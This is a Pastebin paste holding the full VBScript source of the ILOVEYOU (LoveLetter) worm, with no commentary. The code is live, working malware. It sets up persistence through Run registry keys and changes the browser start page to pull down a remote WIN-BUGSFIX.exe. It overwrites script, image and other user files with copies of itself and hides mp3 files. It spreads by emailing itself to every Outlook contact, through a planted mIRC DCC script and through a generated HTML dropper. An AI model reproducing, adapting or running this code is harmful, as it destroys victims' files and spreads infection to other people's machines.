Advertisement
Guest User

Untitled

a guest
Jan 3rd, 2016
166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.10 KB | None | 0 0
  1. rem barok -loveletter(vbe) <i hate go to school>
  2. rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
  3. On Error Resume Next
  4. dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
  5. eq=""
  6. ctr=0
  7. Set fso = CreateObject("Scripting.FileSystemObject")
  8. set file = fso.OpenTextFile(WScript.ScriptFullname,1)
  9. vbscopy=file.ReadAll
  10. main()
  11. sub main()
  12. On Error Resume Next
  13. dim wscr,rr
  14. set wscr=CreateObject("WScript.Shell")
  15. rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
  16. if (rr>=1) then
  17. wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
  18. end if
  19. Set dirwin = fso.GetSpecialFolder(0)
  20. Set dirsystem = fso.GetSpecialFolder(1)
  21. Set dirtemp = fso.GetSpecialFolder(2)
  22. Set c = fso.GetFile(WScript.ScriptFullName)
  23. c.Copy(dirsystem&"\MSKernel32.vbs")
  24. c.Copy(dirwin&"\Win32DLL.vbs")
  25. c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
  26. regruns()
  27. html()
  28. spreadtoemail()
  29. listadriv()
  30. end sub
  31. sub regruns()
  32. On Error Resume Next
  33. Dim num,downread
  34. regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
  35. regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
  36. downread=""
  37. downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
  38. if (downread="") then
  39. downread="c:\"
  40. end if
  41. if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
  42. Randomize
  43. num = Int((4 * Rnd) + 1)
  44. if num = 1 then
  45. regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.facegallery.co.cc/ HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
  46. elseif num = 2 then
  47. regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/ skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnH HGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
  48. elseif num = 3 then
  49. regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/ jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZn mPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
  50. elseif num = 4 then
  51. regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/ sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhY UgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadsh fgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
  52. end if
  53. end if
  54. if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
  55. regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\ Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
  56. regcreate "HKEY_CURRENT_USER\Software\ Microsoft\Internet Explorer\Main\Start Page","about:blank"
  57. end if
  58. end sub
  59. sub listadriv
  60. On Error Resume Next
  61. Dim d,dc,s
  62. Set dc = fso.Drives
  63. For Each d in dc
  64. If d.DriveType = 2 or d.DriveType=3 Then
  65. folderlist(d.path&"\")
  66. end if
  67. Next
  68. listadriv = s
  69. end sub
  70. sub infectfiles(folderspec)
  71. On Error Resume Next
  72. dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
  73. set f = fso.GetFolder(folderspec)
  74. set fc = f.Files
  75. for each f1 in fc
  76. ext=fso.GetExtensionName(f1.path)
  77. ext=lcase(ext)
  78. s=lcase(f1.name)
  79. if (ext="vbs") or (ext="vbe") then
  80. set ap=fso.OpenTextFile(f1.path,2,true)
  81. ap.write vbscopy
  82. ap.close
  83. elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
  84. set ap=fso.OpenTextFile(f1.path,2,true)
  85. ap.write vbscopy
  86. ap.close
  87. bname=fso.GetBaseName(f1.path)
  88. set cop=fso.GetFile(f1.path)
  89. cop.copy(folderspec&"\"&bname&".vbs")
  90. fso.DeleteFile(f1.path)
  91. elseif(ext="jpg") or (ext="jpeg") then
  92. set ap=fso.OpenTextFile(f1.path,2,true)
  93. ap.write vbscopy
  94. ap.close
  95. set cop=fso.GetFile(f1.path)
  96. cop.copy(f1.path&".vbs")
  97. fso.DeleteFile(f1.path)
  98. elseif(ext="mp3") or (ext="mp2") then
  99. set mp3=fso.CreateTextFile(f1.path&".vbs")
  100. mp3.write vbscopy
  101. mp3.close
  102. set att=fso.GetFile(f1.path)
  103. att.attributes=att.attributes+2
  104. end if
  105. if (eq<>folderspec) then
  106. if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
  107. set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
  108. scriptini.WriteLine "[script]"
  109. scriptini.WriteLine ";mIRC Script"
  110. scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
  111. scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
  112. scriptini.WriteLine ";"
  113. scriptini.WriteLine ";Khaled Mardam-Bey"
  114. scriptini.WriteLine ";http://www.mirc.com/"
  115. scriptini.WriteLine ";"
  116. scriptini.WriteLine "n0=on 1:JOIN:#:{"
  117. scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
  118. scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
  119. scriptini.WriteLine "n3=}"
  120. scriptini.close
  121. eq=folderspec
  122. end if
  123. end if
  124. next
  125. end sub
  126. sub folderlist(folderspec)
  127. On Error Resume Next
  128. dim f,f1,sf
  129. set f = fso.GetFolder(folderspec)
  130. set sf = f.SubFolders
  131. for each f1 in sf
  132. infectfiles(f1.path)
  133. folderlist(f1.path)
  134. next
  135. end sub
  136. sub regcreate(regkey,regvalue)
  137. Set regedit = CreateObject("WScript.Shell")
  138. regedit.RegWrite regkey,regvalue
  139. end sub
  140. function regget(value)
  141. Set regedit = CreateObject("WScript.Shell")
  142. regget=regedit.RegRead(value)
  143. end function
  144. function fileexist(filespec)
  145. On Error Resume Next
  146. dim msg
  147. if (fso.FileExists(filespec)) Then
  148. msg = 0
  149. else
  150. msg = 1
  151. end if
  152. fileexist = msg
  153. end function
  154. function folderexist(folderspec)
  155. On Error Resume Next
  156. dim msg
  157. if (fso.GetFolderExists(folderspec)) then
  158. msg = 0
  159. else
  160. msg = 1
  161. end if
  162. fileexist = msg
  163. end function
  164. sub spreadtoemail()
  165. On Error Resume Next
  166. dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
  167. set regedit=CreateObject("WScript.Shell")
  168. set out=WScript.CreateObject("Outlook.Application")
  169. set mapi=out.GetNameSpace("MAPI")
  170. for ctrlists=1 to mapi.AddressLists.Count
  171. set a=mapi.AddressLists(ctrlists)
  172. x=1
  173. regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
  174. if (regv="") then
  175. regv=1
  176. end if
  177. if (int(a.AddressEntries.Count)>int(regv)) then
  178. for ctrentries=1 to a.AddressEntries.Count
  179. malead=a.AddressEntries(x)
  180. regad=""
  181. regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
  182. if (regad="") then
  183. set male=out.CreateItem(0)
  184. male.Recipients.Add(malead)
  185. male.Subject = "ILOVEYOU"
  186. male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
  187. male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
  188. male.Send
  189. regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
  190. end if
  191. x=x+1
  192. next
  193. regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
  194. else
  195. regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
  196. end if
  197. next
  198. Set out=Nothing
  199. Set mapi=Nothing
  200. end sub
  201. sub html
  202. On Error Resume Next
  203. dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
  204. dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
  205. "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
  206. "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _
  207. "<?-?HEAD><BODY ONMOUSEOUT= @-@window.name=#-‪#‎main‬#-#;window.open (#-‪#‎LOVE‬-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
  208. "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@‪#‎FF9933‬@-@>"&vbcrlf& _
  209. "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-‪#‎YES‬#-# button to Enable ActiveX<?-?p>"&vbcrlf& _
  210. "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE> "&vbcrlf& _
  211. "<?-?BODY><?-?HTML>"&vbcrlf& _
  212. "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _
  213. "<!--?-??-?"&vbcrlf& _
  214. "if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _
  215. "?-??-?-->"&vbcrlf& _
  216. "<?-?SCRIPT>"&vbcrlf& _
  217. "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
  218. "<!--"&vbcrlf& _
  219. "on error resume next"&vbcrlf& _
  220. "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
  221. "aw=1"&vbcrlf& _
  222. "code="
  223. dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
  224. "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
  225. "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
  226. "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
  227. "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
  228. "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
  229. "wri.write code4"&vbcrlf& _
  230. "wri.close"&vbcrlf& _
  231. "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
  232. "if (err.number=424) then"&vbcrlf& _
  233. "aw=0"&vbcrlf& _
  234. "end if"&vbcrlf& _
  235. "if (aw=1) then"&vbcrlf& _
  236. "document.write @-@ERROR: can#-‪#‎t‬ initialize ActiveX@-@"&vbcrlf& _
  237. "window.close"&vbcrlf& _
  238. "end if"&vbcrlf& _
  239. "end if"&vbcrlf& _
  240. "Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
  241. "regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^ -^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _
  242. "?-??-?-->"&vbcrlf& _
  243. "<?-?SCRIPT>"
  244. dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
  245. dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
  246. dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
  247. dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
  248. dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
  249. dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
  250. dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
  251. dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
  252. set fso=CreateObject("Scripting.FileSystemObject")
  253. set c=fso.OpenTextFile(WScript.ScriptFullName,1)
  254. lines=Split(c.ReadAll,vbcrlf)
  255. l1=ubound(lines)
  256. for n=0 to ubound(lines)
  257. lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
  258. lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
  259. lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
  260. if (l1=n) then
  261. lines(n)=chr(34)+lines(n)+chr(34)
  262. else
  263. lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
  264. end if
  265. next
  266. set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
  267. b.close
  268. set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
  269. d.write dt5
  270. d.write join(lines,vbcrlf)
  271. d.write vbcrlf
  272. d.write dt6
  273. d.close
  274. end sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement